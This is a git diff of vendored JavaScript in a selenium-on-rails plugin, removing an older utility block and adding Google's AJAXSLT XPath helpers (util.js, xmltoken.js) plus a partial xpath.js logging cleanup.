-var DOM_PROCESSING_INSTRUCTION_NODE = 7;
-var DOM_COMMENT_NODE = 8;
-var DOM_DOCUMENT_NODE = 9;
-var DOM_DOCUMENT_TYPE_NODE = 10;
-var DOM_DOCUMENT_FRAGMENT_NODE = 11;
-var DOM_NOTATION_NODE = 12;
-
-
-var xpathdebug = false; // trace xpath parsing
-var xsltdebug = false; // trace xslt processing
-
-
-// Escape XML special markup chracters: tag delimiter < > and entity
-// reference start delimiter &. The escaped string can be used in XML
-// text portions (i.e. between tags).
-function xmlEscapeText(s) {
-  return s.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
-}
-
-// Escape XML special markup characters: tag delimiter < > entity
-// reference start delimiter & and quotes ". The escaped string can be
-// used in double quoted XML attribute value portions (i.e. in
-// attributes within start tags).
-function xmlEscapeAttr(s) {
-  return xmlEscapeText(s).replace(/\"/g, '&quot;');
-}
-
-// Escape markup in XML text, but don't touch entity references. The
-// escaped string can be used as XML text (i.e. between tags).
-function xmlEscapeTags(s) {
-  return s.replace(/</g, '&lt;').replace(/>/g, '&gt;');
-}
-
-// An implementation of the debug log. 
-
-var logging__ = false;
-
-function Log() {};
-
-Log.lines = [];
-
-Log.write = function(s) {
-  if (logging__) {
-    this.lines.push(xmlEscapeText(s));
-    this.show();
-  }
-};
-
-// Writes the given XML with every tag on a new line.
-Log.writeXML = function(xml) {
-  if (logging__) {
-    var s0 = xml.replace(/</g, '\n<');
-    var s1 = xmlEscapeText(s0);
-    var s2 = s1.replace(/\s*\n(\s|\n)*/g, '<br/>');
-    this.lines.push(s2);
-    this.show();
-  }
-}
-
-// Writes without any escaping
-Log.writeRaw = function(s) {
-  if (logging__) {
-    this.lines.push(s);
-    this.show();
-  }
-}
-
-Log.clear = function() {
-  if (logging__) {
-    var l = this.div();
-    l.innerHTML = '';
-    this.lines = [];
-  }
-}
-
-Log.show = function() {
-  var l = this.div();
-  l.innerHTML += this.lines.join('<br/>') + '<br/>';
-  this.lines = [];
-  l.scrollTop = l.scrollHeight;
-}
-
-Log.div = function() {
-  var l = document.getElementById('log');
-  if (!l) {
-    l = document.createElement('div');
-    l.id = 'log';
-    l.style.position = 'absolute';
-    l.style.right = '5px';
-    l.style.top = '5px';
-    l.style.width = '250px';
-    l.style.height = '150px';
-    l.style.overflow = 'auto';
-    l.style.backgroundColor = '#f0f0f0';
-    l.style.border = '1px solid gray';
-    l.style.fontSize = '10px';
-    l.style.padding = '5px';
-    document.body.appendChild(l);
-  }
-  return l;
-}
-
-
-function Timer() {}
-Timer.start = function() {}
-Timer.end = function() {}
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/xpath/util.js b/vendor/plugins/selenium-on-rails/selenium-core/xpath/util.js
new file mode 100644
index 00000000..cf1b6960
--- /dev/null
+++ b/vendor/plugins/selenium-on-rails/selenium-core/xpath/util.js
@@ -0,0 +1,549 @@
+// Copyright 2005 Google
+//
+// Author: Steffen Meschkat <mesch@google.com>
+//
+// Miscellaneous utility and placeholder functions.
+
+// Dummy implmentation for the logging functions. Replace by something
+// useful when you want to debug.
+function xpathLog(msg) {};
+function xsltLog(msg) {};
+function xsltLogXml(msg) {};
+
+var ajaxsltIsIE6 = navigator.appVersion.match(/MSIE 6.0/);
+
+// Throws an exception if false.
+function assert(b) {
+  if (!b) {
+    throw "Assertion failed";
+  }
+}
+
+// Splits a string s at all occurrences of character c. This is like
+// the split() method of the string object, but IE omits empty
+// strings, which violates the invariant (s.split(x).join(x) == s).
+function stringSplit(s, c) {
+  var a = s.indexOf(c);
+  if (a == -1) {
+    return [ s ];
+  }
+  var parts = [];
+  parts.push(s.substr(0,a));
+  while (a != -1) {
+    var a1 = s.indexOf(c, a + 1);
+    if (a1 != -1) {
+      parts.push(s.substr(a + 1, a1 - a - 1));
+    } else {
+      parts.push(s.substr(a + 1));
+    }
+    a = a1;
+  }
+  return parts;
+}
+
+// The following function does what document.importNode(node, true)
+// would do for us here; however that method is broken in Safari/1.3,
+// so we have to emulate it.
+function xmlImportNode(doc, node) {
+  if (node.nodeType == DOM_TEXT_NODE) {
+    return domCreateTextNode(doc, node.nodeValue);
+
+  } else if (node.nodeType == DOM_CDATA_SECTION_NODE) {
+    return domCreateCDATASection(doc, node.nodeValue);
+
+  } else if (node.nodeType == DOM_ELEMENT_NODE) {
+    var newNode = domCreateElement(doc, node.nodeName);
+    for (var i = 0; i < node.attributes.length; ++i) {
+      var an = node.attributes[i];
+      var name = an.nodeName;
+      var value = an.nodeValue;
+      domSetAttribute(newNode, name, value);
+    }
+
+    for (var c = node.firstChild; c; c = c.nextSibling) {
+      var cn = arguments.callee(doc, c);
+      domAppendChild(newNode, cn);
+    }
+
+    return newNode;
+
+  } else {
+    return domCreateComment(doc, node.nodeName);
+  }
+}
+
+// A set data structure. It can also be used as a map (i.e. the keys
+// can have values other than 1), but we don't call it map because it
+// would be ambiguous in this context. Also, the map is iterable, so
+// we can use it to replace for-in loops over core javascript Objects.
+// For-in iteration breaks when Object.prototype is modified, which
+// some clients of the maps API do.
+//
+// NOTE(mesch): The set keys by the string value of its element, NOT
+// by the typed value. In particular, objects can't be used as keys.
+//
+// @constructor
+function Set() {
+  this.keys = [];
+}
+
+Set.prototype.size = function() {
+  return this.keys.length;
+}
+
+// Adds the entry to the set, ignoring if it is present.
+Set.prototype.add = function(key, opt_value) {
+  var value = opt_value || 1;
+  if (!this.contains(key)) {
+    this[':' + key] = value;
+    this.keys.push(key);
+  }
+}
+
+// Sets the entry in the set, adding if it is not yet present.
+Set.prototype.set = function(key, opt_value) {
+  var value = opt_value || 1;
+  if (!this.contains(key)) {
+    this[':' + key] = value;
+    this.keys.push(key);
+  } else {
+    this[':' + key] = value;
+  }
+}
+
+// Increments the key's value by 1. This works around the fact that
+// numbers are always passed by value, never by reference, so that we
+// can't increment the value returned by get(), or the iterator
+// argument. Sets the key's value to 1 if it doesn't exist yet.
+Set.prototype.inc = function(key) {
+  if (!this.contains(key)) {
+    this[':' + key] = 1;
+    this.keys.push(key);
+  } else {
+    this[':' + key]++;
+  }
+}
+
+Set.prototype.get = function(key) {
+  if (this.contains(key)) {
+    return this[':' + key];
+  } else {
+    var undefined;
+    return undefined;
+  }
+}
+
+// Removes the entry from the set.
+Set.prototype.remove = function(key) {
+  if (this.contains(key)) {
+    delete this[':' + key];
+    removeFromArray(this.keys, key, true);
+  }
+}
+
+// Tests if an entry is in the set.
+Set.prototype.contains = function(entry) {
+  return typeof this[':' + entry] != 'undefined';
+}
+
+// Gets a list of values in the set.
+Set.prototype.items = function() {
+  var list = [];
+  for (var i = 0; i < this.keys.length; ++i) {
+    var k = this.keys[i];
+    var v = this[':' + k];
+    list.push(v);
+  }
+  return list;
+}
+
+
+// Invokes function f for every key value pair in the set as a method
+// of the set.
+Set.prototype.map = function(f) {
+  for (var i = 0; i < this.keys.length; ++i) {
+    var k = this.keys[i];
+    f.call(this, k, this[':' + k]);
+  }
+}
+
+Set.prototype.clear = function() {
+  for (var i = 0; i < this.keys.length; ++i) {
+    delete this[':' + this.keys[i]];
+  }
+  this.keys.length = 0;
+}
+
+
+// Applies the given function to each element of the array, preserving
+// this, and passing the index.
+function mapExec(array, func) {
+  for (var i = 0; i < array.length; ++i) {
+    func.call(this, array[i], i);
+  }
+}
+
+// Returns an array that contains the return value of the given
+// function applied to every element of the input array.
+function mapExpr(array, func) {
+  var ret = [];
+  for (var i = 0; i < array.length; ++i) {
+    ret.push(func(array[i]));
+  }
+  return ret;
+};
+
+// Reverses the given array in place.
+function reverseInplace(array) {
+  for (var i = 0; i < array.length / 2; ++i) {
+    var h = array[i];
+    var ii = array.length - i - 1;
+    array[i] = array[ii];
+    array[ii] = h;
+  }
+}
+
+// Removes value from array. Returns the number of instances of value
+// that were removed from array.
+function removeFromArray(array, value, opt_notype) {
+  var shift = 0;
+  for (var i = 0; i < array.length; ++i) {
+    if (array[i] === value || (opt_notype && array[i] == value)) {
+      array.splice(i--, 1);
+      shift++;
+    }
+  }
+  return shift;
+}
+
+// Shallow-copies an array to the end of another array
+// Basically Array.concat, but works with other non-array collections
+function copyArray(dst, src) {
+  if (!src) return;
+  var dstLength = dst.length;
+  for (var i = src.length - 1; i >= 0; --i) {
+    dst[i+dstLength] = src[i];
+  }
+}
+
+/**
+ * This is an optimization for copying attribute lists in IE. IE includes many
+ * extraneous properties in its DOM attribute lists, which take require
+ * significant extra processing when evaluating attribute steps. With this
+ * function, we ignore any such attributes that has an empty string value.
+ */
+function copyArrayIgnoringAttributesWithoutValue(dst, src)
+{
+  if (!src) return;
+  for (var i = src.length - 1; i >= 0; --i) {
+    // this test will pass so long as the attribute has a non-empty string
+    // value, even if that value is "false", "0", "undefined", etc.
+    if (src[i].nodeValue) {
+      dst.push(src[i]);
+    }
+  }
+}
+
+// Returns the text value of a node; for nodes without children this
+// is the nodeValue, for nodes with children this is the concatenation
+// of the value of all children. Browser-specific optimizations are used by
+// default; they can be disabled by passing "true" in as the second parameter.
+function xmlValue(node, disallowBrowserSpecificOptimization) {
+  if (!node) {
+    return '';
+  }
+
+  var ret = '';
+  if (node.nodeType == DOM_TEXT_NODE ||
+      node.nodeType == DOM_CDATA_SECTION_NODE) {
+    ret += node.nodeValue;
+
+  } else if (node.nodeType == DOM_ATTRIBUTE_NODE) {
+    if (ajaxsltIsIE6) {
+      ret += xmlValueIE6Hack(node);
+    } else {
+      ret += node.nodeValue;
+    }
+  } else if (node.nodeType == DOM_ELEMENT_NODE ||
+             node.nodeType == DOM_DOCUMENT_NODE ||
+             node.nodeType == DOM_DOCUMENT_FRAGMENT_NODE) {
+    if (!disallowBrowserSpecificOptimization) {
+      // IE, Safari, Opera, and friends
+      var innerText = node.innerText;
+      if (innerText != undefined) {
+        return innerText;
+      }
+      // Firefox
+      var textContent = node.textContent;
+      if (textContent != undefined) {
+        return textContent;
+      }
+    }
+    // pobrecito!
+    var len = node.childNodes.length;
+    for (var i = 0; i < len; ++i) {
+      ret += arguments.callee(node.childNodes[i]);
+    }
+  }
+  return ret;
+}
+
+function xmlValueIE6Hack(node) {
+    // Issue 19, IE6 mangles href attribute when it's a javascript: url
+    var nodeName = node.nodeName;
+    var nodeValue = node.nodeValue;
+    if (nodeName.length != 4) return nodeValue;
+    if (!/^href$/i.test(nodeName)) return nodeValue;
+    if (!/^javascript:/.test(nodeValue)) return nodeValue;
+    return unescape(nodeValue);
+}
+
+// Returns the representation of a node as XML text.
+function xmlText(node, opt_cdata) {
+  var buf = [];
+  xmlTextR(node, buf, opt_cdata);
+  return buf.join('');
+}
+
+function xmlTextR(node, buf, cdata) {
+  if (node.nodeType == DOM_TEXT_NODE) {
+    buf.push(xmlEscapeText(node.nodeValue));
+
+  } else if (node.nodeType == DOM_CDATA_SECTION_NODE) {
+    if (cdata) {
+      buf.push(node.nodeValue);
+    } else {
+      buf.push('<![CDATA[' + node.nodeValue + ']]>');
+    }
+
+  } else if (node.nodeType == DOM_COMMENT_NODE) {
+    buf.push('<!--' + node.nodeValue + '-->');
+
+  } else if (node.nodeType == DOM_ELEMENT_NODE) {
+    buf.push('<' + xmlFullNodeName(node));
+    for (var i = 0; i < node.attributes.length; ++i) {
+      var a = node.attributes[i];
+      if (a && a.nodeName && a.nodeValue) {
+        buf.push(' ' + xmlFullNodeName(a) + '="' +
+                 xmlEscapeAttr(a.nodeValue) + '"');
+      }
+    }
+
+    if (node.childNodes.length == 0) {
+      buf.push('/>');
+    } else {
+      buf.push('>');
+      for (var i = 0; i < node.childNodes.length; ++i) {
+        arguments.callee(node.childNodes[i], buf, cdata);
+      }
+      buf.push('</' + xmlFullNodeName(node) + '>');
+    }
+
+  } else if (node.nodeType == DOM_DOCUMENT_NODE ||
+             node.nodeType == DOM_DOCUMENT_FRAGMENT_NODE) {
+    for (var i = 0; i < node.childNodes.length; ++i) {
+      arguments.callee(node.childNodes[i], buf, cdata);
+    }
+  }
+}
+
+function xmlFullNodeName(n) {
+  if (n.prefix && n.nodeName.indexOf(n.prefix + ':') != 0) {
+    return n.prefix + ':' + n.nodeName;
+  } else {
+    return n.nodeName;
+  }
+}
+
+// Escape XML special markup chracters: tag delimiter < > and entity
+// reference start delimiter &. The escaped string can be used in XML
+// text portions (i.e. between tags).
+function xmlEscapeText(s) {
+  return ('' + s).replace(/&/g, '&amp;').replace(/</g, '&lt;').
+    replace(/>/g, '&gt;');
+}
+
+// Escape XML special markup characters: tag delimiter < > entity
+// reference start delimiter & and quotes ". The escaped string can be
+// used in double quoted XML attribute value portions (i.e. in
+// attributes within start tags).
+function xmlEscapeAttr(s) {
+  return xmlEscapeText(s).replace(/\"/g, '&quot;');
+}
+
+// Escape markup in XML text, but don't touch entity references. The
+// escaped string can be used as XML text (i.e. between tags).
+function xmlEscapeTags(s) {
+  return s.replace(/</g, '&lt;').replace(/>/g, '&gt;');
+}
+
+/**
+ * Wrapper function to access the owner document uniformly for document
+ * and other nodes: for the document node, the owner document is the
+ * node itself, for all others it's the ownerDocument property.
+ *
+ * @param {Node} node
+ * @return {Document}
+ */
+function xmlOwnerDocument(node) {
+  if (node.nodeType == DOM_DOCUMENT_NODE) {
+    return node;
+  } else {
+    return node.ownerDocument;
+  }
+}
+
+// Wrapper around DOM methods so we can condense their invocations.
+function domGetAttribute(node, name) {
+  return node.getAttribute(name);
+}
+
+function domSetAttribute(node, name, value) {
+  return node.setAttribute(name, value);
+}
+
+function domRemoveAttribute(node, name) {
+  return node.removeAttribute(name);
+}
+
+function domAppendChild(node, child) {
+  return node.appendChild(child);
+}
+
+function domRemoveChild(node, child) {
+  return node.removeChild(child);
+}
+
+function domReplaceChild(node, newChild, oldChild) {
+  return node.replaceChild(newChild, oldChild);
+}
+
+function domInsertBefore(node, newChild, oldChild) {
+  return node.insertBefore(newChild, oldChild);
+}
+
+function domRemoveNode(node) {
+  return domRemoveChild(node.parentNode, node);
+}
+
+function domCreateTextNode(doc, text) {
+  return doc.createTextNode(text);
+}
+
+function domCreateElement(doc, name) {
+  return doc.createElement(name);
+}
+
+function domCreateAttribute(doc, name) {
+  return doc.createAttribute(name);
+}
+
+function domCreateCDATASection(doc, data) {
+  return doc.createCDATASection(data);
+}
+
+function domCreateComment(doc, text) {
+  return doc.createComment(text);
+}
+
+function domCreateDocumentFragment(doc) {
+  return doc.createDocumentFragment();
+}
+
+function domGetElementById(doc, id) {
+  return doc.getElementById(id);
+}
+
+// Same for window methods.
+function windowSetInterval(win, fun, time) {
+  return win.setInterval(fun, time);
+}
+
+function windowClearInterval(win, id) {
+  return win.clearInterval(id);
+}
+
+/**
+ * Escape the special regular expression characters when the regular expression
+ * is specified as a string.
+ *
+ * Based on: http://simonwillison.net/2006/Jan/20/escape/
+ */
+RegExp.escape = (function() {
+  var specials = [
+    '/', '.', '*', '+', '?', '|', '^', '$',
+    '(', ')', '[', ']', '{', '}', '\\'
+  ];
+    
+  var sRE = new RegExp(
+    '(\\' + specials.join('|\\') + ')', 'g'
+  );
+    
+  return function(text) {
+    return text.replace(sRE, '\\$1');
+  }
+})();
+
+/**
+ * Determines whether a predicate expression contains a "positional selector".
+ * A positional selector filters nodes from the nodelist input based on their
+ * position within that list. When such selectors are encountered, the
+ * evaluation of the predicate cannot be depth-first, because the positional
+ * selector may be based on the result of evaluating predicates that precede
+ * it.
+ */
+function predicateExprHasPositionalSelector(expr, isRecursiveCall) {
+  if (!expr) {
+    return false;
+  }
+  if (!isRecursiveCall && exprReturnsNumberValue(expr)) {
+    // this is a "proximity position"-based predicate
+    return true;
+  }
+  if (expr instanceof FunctionCallExpr) {
+    var value = expr.name.value;
+    return (value == 'last' || value == 'position');
+  }
+  if (expr instanceof BinaryExpr) {
+    return (
+      predicateExprHasPositionalSelector(expr.expr1, true) ||
+      predicateExprHasPositionalSelector(expr.expr2, true));
+  }
+  return false;
+}
+
+function exprReturnsNumberValue(expr) {
+  if (expr instanceof FunctionCallExpr) {
+    var isMember = {
+      last: true
+      , position: true
+      , count: true
+      , 'string-length': true
+      , number: true
+      , sum: true
+      , floor: true
+      , ceiling: true
+      , round: true
+    };
+    return isMember[expr.name.value];
+  }
+  else if (expr instanceof UnaryMinusExpr) {
+    return true;
+  }
+  else if (expr instanceof BinaryExpr) {
+    var isMember = {
+      '+': true
+      , '-': true
+      , '*': true
+      , mod: true
+      , div: true
+    };
+    return isMember[expr.op.value];
+  }
+  else if (expr instanceof NumberExpr) {
+    return true;
+  }
+  return false;
+}
+
+
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/xpath/xmltoken.js b/vendor/plugins/selenium-on-rails/selenium-core/xpath/xmltoken.js
new file mode 100644
index 00000000..30c58a39
--- /dev/null
+++ b/vendor/plugins/selenium-on-rails/selenium-core/xpath/xmltoken.js
@@ -0,0 +1,149 @@
+// Copyright 2006 Google Inc.
+// All Rights Reserved
+//
+// Defines regular expression patterns to extract XML tokens from string.
+// See <http://www.w3.org/TR/REC-xml/#sec-common-syn>,
+// <http://www.w3.org/TR/xml11/#sec-common-syn> and
+// <http://www.w3.org/TR/REC-xml-names/#NT-NCName> for the specifications.
+//
+// Author: Junji Takagi <jtakagi@google.com>
+
+// Detect whether RegExp supports Unicode characters or not.
+
+var REGEXP_UNICODE = function() {
+  var tests = [' ', '\u0120', -1,  // Konquerer 3.4.0 fails here.
+               '!', '\u0120', -1,
+               '\u0120', '\u0120', 0,
+               '\u0121', '\u0120', -1,
+               '\u0121', '\u0120|\u0121', 0,
+               '\u0122', '\u0120|\u0121', -1,
+               '\u0120', '[\u0120]', 0,  // Safari 2.0.3 fails here.
+               '\u0121', '[\u0120]', -1,
+               '\u0121', '[\u0120\u0121]', 0,  // Safari 2.0.3 fails here.
+               '\u0122', '[\u0120\u0121]', -1,
+               '\u0121', '[\u0120-\u0121]', 0,  // Safari 2.0.3 fails here.
+               '\u0122', '[\u0120-\u0121]', -1];
+  for (var i = 0; i < tests.length; i += 3) {
+    if (tests[i].search(new RegExp(tests[i + 1])) != tests[i + 2]) {
+      return false;
+    }
+  }
+  return true;
+}();
+
+// Common tokens in XML 1.0 and XML 1.1.
+
+var XML_S = '[ \t\r\n]+';
+var XML_EQ = '(' + XML_S + ')?=(' + XML_S + ')?';
+var XML_CHAR_REF = '&#[0-9]+;|&#x[0-9a-fA-F]+;';
+
+// XML 1.0 tokens.
+
+var XML10_VERSION_INFO = XML_S + 'version' + XML_EQ + '("1\\.0"|' + "'1\\.0')";
+var XML10_BASE_CHAR = (REGEXP_UNICODE) ?
+  '\u0041-\u005a\u0061-\u007a\u00c0-\u00d6\u00d8-\u00f6\u00f8-\u00ff' +
+  '\u0100-\u0131\u0134-\u013e\u0141-\u0148\u014a-\u017e\u0180-\u01c3' +
+  '\u01cd-\u01f0\u01f4-\u01f5\u01fa-\u0217\u0250-\u02a8\u02bb-\u02c1\u0386' +
+  '\u0388-\u038a\u038c\u038e-\u03a1\u03a3-\u03ce\u03d0-\u03d6\u03da\u03dc' +
+  '\u03de\u03e0\u03e2-\u03f3\u0401-\u040c\u040e-\u044f\u0451-\u045c' +
+  '\u045e-\u0481\u0490-\u04c4\u04c7-\u04c8\u04cb-\u04cc\u04d0-\u04eb' +
+  '\u04ee-\u04f5\u04f8-\u04f9\u0531-\u0556\u0559\u0561-\u0586\u05d0-\u05ea' +
+  '\u05f0-\u05f2\u0621-\u063a\u0641-\u064a\u0671-\u06b7\u06ba-\u06be' +
+  '\u06c0-\u06ce\u06d0-\u06d3\u06d5\u06e5-\u06e6\u0905-\u0939\u093d' +
+  '\u0958-\u0961\u0985-\u098c\u098f-\u0990\u0993-\u09a8\u09aa-\u09b0\u09b2' +
+  '\u09b6-\u09b9\u09dc-\u09dd\u09df-\u09e1\u09f0-\u09f1\u0a05-\u0a0a' +
+  '\u0a0f-\u0a10\u0a13-\u0a28\u0a2a-\u0a30\u0a32-\u0a33\u0a35-\u0a36' +
+  '\u0a38-\u0a39\u0a59-\u0a5c\u0a5e\u0a72-\u0a74\u0a85-\u0a8b\u0a8d' +
+  '\u0a8f-\u0a91\u0a93-\u0aa8\u0aaa-\u0ab0\u0ab2-\u0ab3\u0ab5-\u0ab9' +
+  '\u0abd\u0ae0\u0b05-\u0b0c\u0b0f-\u0b10\u0b13-\u0b28\u0b2a-\u0b30' +
+  '\u0b32-\u0b33\u0b36-\u0b39\u0b3d\u0b5c-\u0b5d\u0b5f-\u0b61\u0b85-\u0b8a' +
+  '\u0b8e-\u0b90\u0b92-\u0b95\u0b99-\u0b9a\u0b9c\u0b9e-\u0b9f\u0ba3-\u0ba4' +
+  '\u0ba8-\u0baa\u0bae-\u0bb5\u0bb7-\u0bb9\u0c05-\u0c0c\u0c0e-\u0c10' +
+  '\u0c12-\u0c28\u0c2a-\u0c33\u0c35-\u0c39\u0c60-\u0c61\u0c85-\u0c8c' +
+  '\u0c8e-\u0c90\u0c92-\u0ca8\u0caa-\u0cb3\u0cb5-\u0cb9\u0cde\u0ce0-\u0ce1' +
+  '\u0d05-\u0d0c\u0d0e-\u0d10\u0d12-\u0d28\u0d2a-\u0d39\u0d60-\u0d61' +
+  '\u0e01-\u0e2e\u0e30\u0e32-\u0e33\u0e40-\u0e45\u0e81-\u0e82\u0e84' +
+  '\u0e87-\u0e88\u0e8a\u0e8d\u0e94-\u0e97\u0e99-\u0e9f\u0ea1-\u0ea3\u0ea5' +
+  '\u0ea7\u0eaa-\u0eab\u0ead-\u0eae\u0eb0\u0eb2-\u0eb3\u0ebd\u0ec0-\u0ec4' +
+  '\u0f40-\u0f47\u0f49-\u0f69\u10a0-\u10c5\u10d0-\u10f6\u1100\u1102-\u1103' +
+  '\u1105-\u1107\u1109\u110b-\u110c\u110e-\u1112\u113c\u113e\u1140\u114c' +
+  '\u114e\u1150\u1154-\u1155\u1159\u115f-\u1161\u1163\u1165\u1167\u1169' +
+  '\u116d-\u116e\u1172-\u1173\u1175\u119e\u11a8\u11ab\u11ae-\u11af' +
+  '\u11b7-\u11b8\u11ba\u11bc-\u11c2\u11eb\u11f0\u11f9\u1e00-\u1e9b' +
+  '\u1ea0-\u1ef9\u1f00-\u1f15\u1f18-\u1f1d\u1f20-\u1f45\u1f48-\u1f4d' +
+  '\u1f50-\u1f57\u1f59\u1f5b\u1f5d\u1f5f-\u1f7d\u1f80-\u1fb4\u1fb6-\u1fbc' +
+  '\u1fbe\u1fc2-\u1fc4\u1fc6-\u1fcc\u1fd0-\u1fd3\u1fd6-\u1fdb\u1fe0-\u1fec' +
+  '\u1ff2-\u1ff4\u1ff6-\u1ffc\u2126\u212a-\u212b\u212e\u2180-\u2182' +
+  '\u3041-\u3094\u30a1-\u30fa\u3105-\u312c\uac00-\ud7a3' :
+  'A-Za-z';
+var XML10_IDEOGRAPHIC = (REGEXP_UNICODE) ?
+  '\u4e00-\u9fa5\u3007\u3021-\u3029' :
+  '';
+var XML10_COMBINING_CHAR = (REGEXP_UNICODE) ?
+  '\u0300-\u0345\u0360-\u0361\u0483-\u0486\u0591-\u05a1\u05a3-\u05b9' +
+  '\u05bb-\u05bd\u05bf\u05c1-\u05c2\u05c4\u064b-\u0652\u0670\u06d6-\u06dc' +
+  '\u06dd-\u06df\u06e0-\u06e4\u06e7-\u06e8\u06ea-\u06ed\u0901-\u0903\u093c' +
+  '\u093e-\u094c\u094d\u0951-\u0954\u0962-\u0963\u0981-\u0983\u09bc\u09be' +
+  '\u09bf\u09c0-\u09c4\u09c7-\u09c8\u09cb-\u09cd\u09d7\u09e2-\u09e3\u0a02' +
+  '\u0a3c\u0a3e\u0a3f\u0a40-\u0a42\u0a47-\u0a48\u0a4b-\u0a4d\u0a70-\u0a71' +
+  '\u0a81-\u0a83\u0abc\u0abe-\u0ac5\u0ac7-\u0ac9\u0acb-\u0acd\u0b01-\u0b03' +
+  '\u0b3c\u0b3e-\u0b43\u0b47-\u0b48\u0b4b-\u0b4d\u0b56-\u0b57\u0b82-\u0b83' +
+  '\u0bbe-\u0bc2\u0bc6-\u0bc8\u0bca-\u0bcd\u0bd7\u0c01-\u0c03\u0c3e-\u0c44' +
+  '\u0c46-\u0c48\u0c4a-\u0c4d\u0c55-\u0c56\u0c82-\u0c83\u0cbe-\u0cc4' +
+  '\u0cc6-\u0cc8\u0cca-\u0ccd\u0cd5-\u0cd6\u0d02-\u0d03\u0d3e-\u0d43' +
+  '\u0d46-\u0d48\u0d4a-\u0d4d\u0d57\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1' +
+  '\u0eb4-\u0eb9\u0ebb-\u0ebc\u0ec8-\u0ecd\u0f18-\u0f19\u0f35\u0f37\u0f39' +
+  '\u0f3e\u0f3f\u0f71-\u0f84\u0f86-\u0f8b\u0f90-\u0f95\u0f97\u0f99-\u0fad' +
+  '\u0fb1-\u0fb7\u0fb9\u20d0-\u20dc\u20e1\u302a-\u302f\u3099\u309a' :
+  '';
+var XML10_DIGIT = (REGEXP_UNICODE) ?
+  '\u0030-\u0039\u0660-\u0669\u06f0-\u06f9\u0966-\u096f\u09e6-\u09ef' +
+  '\u0a66-\u0a6f\u0ae6-\u0aef\u0b66-\u0b6f\u0be7-\u0bef\u0c66-\u0c6f' +
+  '\u0ce6-\u0cef\u0d66-\u0d6f\u0e50-\u0e59\u0ed0-\u0ed9\u0f20-\u0f29' :
+  '0-9';
+var XML10_EXTENDER = (REGEXP_UNICODE) ?
+  '\u00b7\u02d0\u02d1\u0387\u0640\u0e46\u0ec6\u3005\u3031-\u3035' +
+  '\u309d-\u309e\u30fc-\u30fe' :
+  '';
+var XML10_LETTER = XML10_BASE_CHAR + XML10_IDEOGRAPHIC;
+var XML10_NAME_CHAR = XML10_LETTER + XML10_DIGIT + '\\._:' +
+                      XML10_COMBINING_CHAR + XML10_EXTENDER + '-';
+var XML10_NAME = '[' + XML10_LETTER + '_:][' + XML10_NAME_CHAR + ']*';
+
+var XML10_ENTITY_REF = '&' + XML10_NAME + ';';
+var XML10_REFERENCE = XML10_ENTITY_REF + '|' + XML_CHAR_REF;
+var XML10_ATT_VALUE = '"(([^<&"]|' + XML10_REFERENCE + ')*)"|' +
+                      "'(([^<&']|" + XML10_REFERENCE + ")*)'";
+var XML10_ATTRIBUTE =
+  '(' + XML10_NAME + ')' + XML_EQ + '(' + XML10_ATT_VALUE + ')';
+
+// XML 1.1 tokens.
+// TODO(jtakagi): NameStartChar also includes \u10000-\ueffff.
+// ECMAScript Language Specifiction defines UnicodeEscapeSequence as
+// "\u HexDigit HexDigit HexDigit HexDigit" and we may need to use
+// surrogate pairs, but any browser doesn't support surrogate paris in
+// character classes of regular expression, so avoid including them for now.
+
+var XML11_VERSION_INFO = XML_S + 'version' + XML_EQ + '("1\\.1"|' + "'1\\.1')";
+var XML11_NAME_START_CHAR = (REGEXP_UNICODE) ?
+  ':A-Z_a-z\u00c0-\u00d6\u00d8-\u00f6\u00f8-\u02ff\u0370-\u037d' +
+  '\u037f-\u1fff\u200c-\u200d\u2070-\u218f\u2c00-\u2fef\u3001-\ud7ff' +
+  '\uf900-\ufdcf\ufdf0-\ufffd' :
+  ':A-Z_a-z';
+var XML11_NAME_CHAR = XML11_NAME_START_CHAR +
+  ((REGEXP_UNICODE) ? '\\.0-9\u00b7\u0300-\u036f\u203f-\u2040-' : '\\.0-9-');
+var XML11_NAME = '[' + XML11_NAME_START_CHAR + '][' + XML11_NAME_CHAR + ']*';
+
+var XML11_ENTITY_REF = '&' + XML11_NAME + ';';
+var XML11_REFERENCE = XML11_ENTITY_REF + '|' + XML_CHAR_REF;
+var XML11_ATT_VALUE = '"(([^<&"]|' + XML11_REFERENCE + ')*)"|' +
+                      "'(([^<&']|" + XML11_REFERENCE + ")*)'";
+var XML11_ATTRIBUTE =
+  '(' + XML11_NAME + ')' + XML_EQ + '(' + XML11_ATT_VALUE + ')';
+
+// XML Namespace tokens.
+// Used in XML parser and XPath parser.
+
+var XML_NC_NAME_CHAR = XML10_LETTER + XML10_DIGIT + '\\._' +
+                       XML10_COMBINING_CHAR + XML10_EXTENDER + '-';
+var XML_NC_NAME = '[' + XML10_LETTER + '_][' + XML_NC_NAME_CHAR + ']*';
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/xpath/xpath.js b/vendor/plugins/selenium-on-rails/selenium-core/xpath/xpath.js
index b93469f2..40929706 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/xpath/xpath.js
+++ b/vendor/plugins/selenium-on-rails/selenium-core/xpath/xpath.js
@@ -31,9 +31,6 @@
 // that are used internally follow after them.
 //
 //
-// TODO(mesch): add jsdoc comments. Use more coherent naming.
-//
-//
 // Author: Steffen Meschkat <mesch@google.com>
 
 
@@ -44,16 +41,12 @@
 // expression context.
 
 function xpathParse(expr) {
-  if (xpathdebug) {
-    Log.write('XPath parse ' + expr);
-  }
+  xpathLog('parse ' + expr);
   xpathParseInit();
 
   var cached = xpathCacheLookup(expr);
   if (cached) {
-    if (xpathdebug) {
-      Log.write(' ... cached');
-    }
+    xpathLog(' ... cached');
     return cached;
   }
 
@@ -62,29 +55,22 @@ function xpathParse(expr) {
   // ($address), numbers (4), multi-step path expressions where each
   // step is a plain element node test
   // (page/overlay/locations/location).
-  
+
   if (expr.match(/^(\$|@)?\w+$/i)) {
     var ret = makeSimpleExpr(expr);
     xpathParseCache[expr] = ret;
-    if (xpathdebug) {
-      Log.write(' ... simple');
-    }
+    xpathLog(' ... simple');
     return ret;
   }
 
   if (expr.match(/^\w+(\/\w+)*$/i)) {
     var ret = makeSimpleExpr2(expr);
     xpathParseCache[expr] = ret;
-    if (xpathdebug) {
-      Log.write(' ... simple 2');
-    }
+    xpathLog(' ... simple 2');
     return ret;
   }
 
   var cachekey = expr; // expr is modified during parse
-  if (xpathdebug) {
-    Timer.start('XPath parse', cachekey);
-  }
 
